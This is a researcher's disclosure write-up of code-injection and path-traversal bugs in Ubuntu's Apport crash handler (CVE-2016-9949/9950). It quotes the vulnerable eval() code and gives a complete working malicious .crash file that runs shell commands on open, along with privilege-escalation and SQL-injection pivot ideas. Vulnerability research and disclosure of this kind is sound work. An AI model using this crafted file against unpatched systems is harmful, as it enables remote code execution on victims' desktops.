In this post I’ll describe how I found a remote code execution bug in Ubuntu Desktop which affects all default installations >= 12.10 (Quantal). The bug allows for reliable code injection when a user simply opens a malicious file. The following video demonstrates the exploit opening the Gnome calculator. The executed payload also replaces the exploit file with a decoy zip file to cover its tracks.

The full source code for this exploit is available on Github.

This research was inspired by Chris Evan’s great work on exploiting client-side file format parsing bugs in the gstreamer media library on Ubuntu. We will look for other default file handlers on Ubuntu which may be vulnerable to exploitation. I’m not a binary exploitation guru like Chris so instead we’ll try find bugs which are exploitable without memory corruption.

File and URL handler configuration on Linux desktops

Desktop environments such as GNOME or KDE ship with a list of known file types and default applications. When a user opens a file, the desktop environment first determines the file format and then launches the corresponding application. Ubuntu stores a set of .desktop files for its default applications in the /usr/share/applications/ directory. We want to see which default applications are responsible for a particular file type (MimeType) and run with the filename passed as an argument.

$ grep -l 'MimeType' * | xargs grep 'Exec.*\%' apport-gtk.desktop:Exec=/usr/share/apport/apport-gtk -c %f apturl.desktop:Exec=apturl %u display-im6.desktop:Exec=/usr/bin/display-im6 %f display-im6.q16.desktop:Exec=/usr/lib/x86_64-linux-gnu/ImageMagick-6.8.9/bin-Q16/display %f eog.desktop:Exec=eog %U evince.desktop:Exec=evince %U fcitx-skin-installer.desktop:Exec=fcitx-skin-installer %U firefox.desktop:Exec=firefox %u gnome-disk-image-mounter.desktop:Exec=gnome-disk-image-mounter %U gnome-disk-image-writer.desktop:Exec=gnome-disks --restore-disk-image %U gnome-software-local-file.desktop:Exec=gnome-software --local-filename=%f libreoffice-calc.desktop:Exec=libreoffice --calc %U libreoffice-draw.desktop:Exec=libreoffice --draw %U libreoffice-impress.desktop:Exec=libreoffice --impress %U libreoffice-math.desktop:Exec=libreoffice --math %U libreoffice-startcenter.desktop:Exec=libreoffice %U libreoffice-writer.desktop:Exec=libreoffice --writer %U libreoffice-xsltfilter.desktop:Exec=libreoffice %U mount-archive.desktop:Exec=/usr/lib/gvfs/gvfsd-archive file=%u nautilus-autorun-software.desktop:Exec=nautilus-autorun-software %u nautilus-folder-handler.desktop:Exec=nautilus --new-window %U org.gnome.FileRoller.desktop:Exec=file-roller %U org.gnome.font-viewer.desktop:Exec=gnome-font-viewer %u org.gnome.gedit.desktop:Exec=gedit %U org.gnome.Nautilus.desktop:Exec=nautilus --new-window %U org.gnome.Software.desktop:Exec=gnome-software %U org.gnome.Totem.desktop:Exec=totem %U rhythmbox.desktop:Exec=rhythmbox %U rhythmbox-device.desktop:Exec=rhythmbox-client --select-source %U shotwell.desktop:Exec=shotwell %U shotwell-viewer.desktop:Exec=shotwell %f thunderbird.desktop:Exec=thunderbird %u transmission-gtk.desktop:Exec=transmission-gtk %U vim.desktop:Exec=vim %F webbrowser-app.desktop:Exec=webbrowser-app %u yelp.desktop:Exec=yelp %u

Many of the listed applications are frequently audited software such as image viewers, media players, LibreOffice and Firefox. Instead we are going to look for less commonly researched software which can also be spawned by a default file handler. Apport, Ubuntu’s default crash handler and crash reporting software is first on our list. Let’s see what file types it will handle:

[Desktop Entry] Name=Report a problem... Comment=Report a malfunction to the developers Exec=/usr/share/apport/apport-gtk -c %f Icon=apport Terminal=false Type=Application MimeType=text/x-apport; Categories=GNOME;GTK;Utility; NoDisplay=true StartupNotify=true X-Ubuntu-Gettext-Domain=apport

Great, GNOME should open all files matching the mime-type text/x-apport with the apport-gtk tool. Ubuntu determines mime-types based on Mime descriptions in the /usr/share/mime/ directory. Typically the file extension will be used to determine the file type, however the desktop environment can fallback to matching a pattern (a set of magic bytes) in the file if the file extension is unrecognized.

<?xml version="1.0" encoding="UTF-8"?> <mime-info xmlns='http://www.freedesktop.org/standards/shared-mime-info'> <mime-type type="text/x-apport"> <sub-class-of type="text/plain"/> <comment>Apport crash file</comment> <glob pattern="*.crash"/> <magic priority="20"> <match value="ProblemType: " type="string" offset="0"/> </magic> </mime-type> </mime-info>

In the case of Apport both a file extension .crash and a magic byte sequence are specified. The desktop environment will try to match the file extension first before comparing magic byte. As the Apport crash file descriptor has a byte pattern we can potentially create an exploit file without a strange .crash extension.

A quick test shows that Ubuntu will open any unknown file with apport-gtk if it begins with “ ProblemType: “:

Apport looks like a good candidate! It’s installed by default and it’s registered as a default file handler. Let’s try and understand what Apport is meant to do.

Auditing Apport

Ubuntu has shipped the Apport crash handling software with all of its recent Desktop releases. It contains a handful of different components which work together to capture crash reports, display them to user, and upload those reports to the Ubuntu issue tracker. An overview of these components is provided on the Ubuntu wiki.

/usr/share/apport/apport is called when the system detects an application crash. To keep the performance impact to a minimum Apport records a minimal set of information at crash time such as the executable path and a core dump. This minimal crash report is written to /var/crash/[executable_path].[uid].crash .

The update-notifier daemon in Gnome keeps an inotify watch on the /var/crash directory. Whenever there is something new, it calls /usr/share/apport/apport-checkreports . If new reports are found apport-checkreports calls /usr/share/apport/apport-gtk to the display the crash report GUI to the user. apport-gtk is also the application called when .crash files are opened on the desktop environment.

Apport-GTK parses the crash files and displays a minimal crash report prompt to the user. The Apport prompt will be familiar sight to anyone who has used Ubuntu desktop.

Apport crash report format

The Apport software reads and writes crash reports in its custom crash report format. This plaintext format is partially described on the Apport wiki page.

There are many potential fields which can be used to store information about the crash and about the current system state. The minimal file created at crash time just contains essential entries such as the ProblemType , ExecutablePath and the CoreDump .

When opened apport-gtk collects some more basic information to display a helpful interface to the user. Package information is retrieved based on the executable path and this is used to provide a more friendly application name and icon in the prompt.

Python code injection in the crash file

Apport can submit crash reports to different Ubuntu Launchpad projects depending on which software crashed. Package specific hook scripts (loaded from /usr/share/apport/package-hooks/ ) can customize the contents and destination of the crash report. The destination project can also be specified with a CrashDB field in the crash report file.

The CrashDB configurations are stored in the /etc/apport/crashdb.conf.d directory. A CrashDB field can be used to load a specific config file from this directory.

# specification? if self.report['CrashDB'].lstrip().startswith('{'): try: spec = eval(self.report['CrashDB'], {}) assert isinstance(spec, dict) assert 'impl' in spec except: self.report['UnreportableReason'] = 'A package hook defines an invalid crash database definition:

%s' % self.report['CrashDB'] return False try: self.crashdb = apport.crashdb.load_crashdb(None, spec) except (ImportError, KeyError): self.report['UnreportableReason'] = 'A package hook wants to send this report to the crash database "%s" which does not exist.' % self.report['CrashDB'] else: # DB name try: self.crashdb = apport.crashdb.get_crashdb(None, self.report['CrashDB']) except (ImportError, KeyError): self.report['UnreportableReason'] = 'A package hook wants to send this report to the crash database "%s" which does not exist.' % self.report['CrashDB'] return False

Problematically there is also code which loads the CrashDB configuration directly from the CrashDB field and not from a local file. The code first checks if the CrashDB field starts with { indicating the start of a Python dictionary. If found, Apport will call Python’s builtin eval() method with the value of the CrashDB field. eval() executes the passed data as a Python expression which leads to straight forward and reliable Python code execution.

The vulnerable code was introduce on 2012-08-22 in Apport revision 2464. This code was first included in release 2.6.1 . All Ubuntu Desktop versions 12.10 (Quantal) and later include this vulnerable code by default.

Exploiting the code injection bug

The following is a minimal crash report file which exploits the CrashDB vulnerability in order to gain arbitrary code execution and open the Gnome calculator:

ProblemType: Bug ExecutablePath: /usr/bin/file-roller Stacktrace: None CrashDB: {'impl': 'memory', 'crash_config': exec(""" import subprocess payload_cmd = "pkill -9 apport; gnome-calculator" subprocess.Popen(payload_cmd, shell=True) """, {}) }

This code can be saved with the .crash extension, or with any extension that is not registered on Ubuntu.

Apport typically reads a subset of the fields in the crash file in order to prepare the GUI which prompts the user to submit a bug report. The CrashDB field is not parsed and executed until after the user agrees to submit the bug report. However when ProblemType: Bug is set in the crash file, Apport-GTK will switch to the streamlined Bug GUI which causes the CrashDB field to be parsed and executed without any further user interaction.

Apport will spend some time trying to gather information about the crash process if the report does not already contain a Stracktrace field. This delays the execution of the CrashDB field. An empty Stracktrace field in exploit file causes Apport to skip this slow code path.

Apport ships with a number of CrashDB implementations. I have selected the memory implementation as it does not upload crash reports to public bug tracking service.

Path traversal when loading hook scripts

Packages on Ubuntu can install Apport hook scripts to the /usr/share/apport/package-hooks directory. These Python hook scripts are loaded based on the distribution package name. They allow package maintainers to collect useful package specific crash information from users’ computers. However the Package field from the crash report file is used without sanitization when building a path to the package hook files.

# binary package hook if package: for hook_dir in hook_dirs: if _run_hook(self, ui, os.path.join(hook_dir, package + '.py')): return True with open(hook) as fd: exec(compile(fd.read(), hook, 'exec'), symb)

This code allows for a path traversal attack and the execution of arbitrary Python scripts outside the system hook_dirs ( /usr/share/apport/general-hooks/ or /usr/share/apport/package-hooks/ ). The _run_hook function simply executes the contents of a provided hook file as Python code. An attacker could serve plant a malicious .py file and a crash file in the users Download directory to get code execution. This scenario is made much easier by Chromium which automatically downloads files without prompting.

The path traversal vulnerability was introduced on 2007-01-24 in Apport 0.44. This version was first released with Ubuntu 7.04 (Feisty).

Using the CrashDB or hook injection bugs for privilege escalation (with user interaction)

All crash files owned by a uid < 500 are considered system crash files. When opening system crash files apport-crashreports will use PolicyKit to prompt the desktop user for root privileges. The prompt is a generic “System program problem detected” message which does not provide any information to the user about the crash.

If a crash file exploiting either of these bugs is placed in /var/crash by a user with uid < 500, and the user accepts the prompt, then code execution can be gained as root. While user interaction is required, people who have used Ubuntu for any period of time will be used to seeing these privilege prompts after random crashes.

A bug like this allows a low-privileged application to cross privilege boundaries. For example an SQL injection bug could be used to write a crash file to the world-writable /var/crash directory by using the "INTO OUTFILE" clause. This crash file would then be automatically executed when a desktop user logs in.

Conclusion

Both of these issues were reported to the Apport maintainers and a fix was released on 2016-12-14. The CrashDB code injection issue can be tracked with CVE-2016-9949 and the path traversal bug with CVE-2016-9950. An additional problem where arbitrary commands can be called with the “Relaunch” action is tracked by CVE-2016-9951. I’d like to thank Martin Pitt and the Ubuntu security team for getting a fix released so quickly. They have been a pleasure to work with.

I would encourage all security researchers to audit free and open source software if they have time on their hands. Projects such as Tor, Tails, Debian and Ubuntu all need more eyes for audits which can improve the safety of the internet for everyone. There are lots of bugs out there which don’t need hardcore memory corruption exploitation skills. Logic bugs can be much more reliable than any ROP chain.

The computer security industry has a serious conflict of interest right now. There is major financial motivation for researchers to find and disclose vulnerability to exploit brokers. Many of the brokers are in the business of keeping problems unfixed. Code execution bugs are valuable. As a data point, I received an offer of more than 10,000 USD from an exploit vendor for these Apport bugs. These financial motivators are only increasing as software gets more secure and bugs become more difficult to find.

To improve security for everyone we need to find sustainable ways to incentivize researchers to find and disclose issues and to get bugs fixed. We can’t and we shouldn’t rely on researchers giving away their work for free to for-profit vendors. We will not get security like that.

Microsoft and Google have shown a good example with their vulnerability reward programs. The Internet Bug Bounty is also doing great work and helping to support research on critical internet software. I hope that they can continue the program and expand their scope in the future. I hope we can cooperatively build a shared and secure internet together.

Timeline

2016-12-09: Apport maintainer contacted

2016-12-10: Response and private bug ticket opened

2016-12-14: Fixed Apport packages released.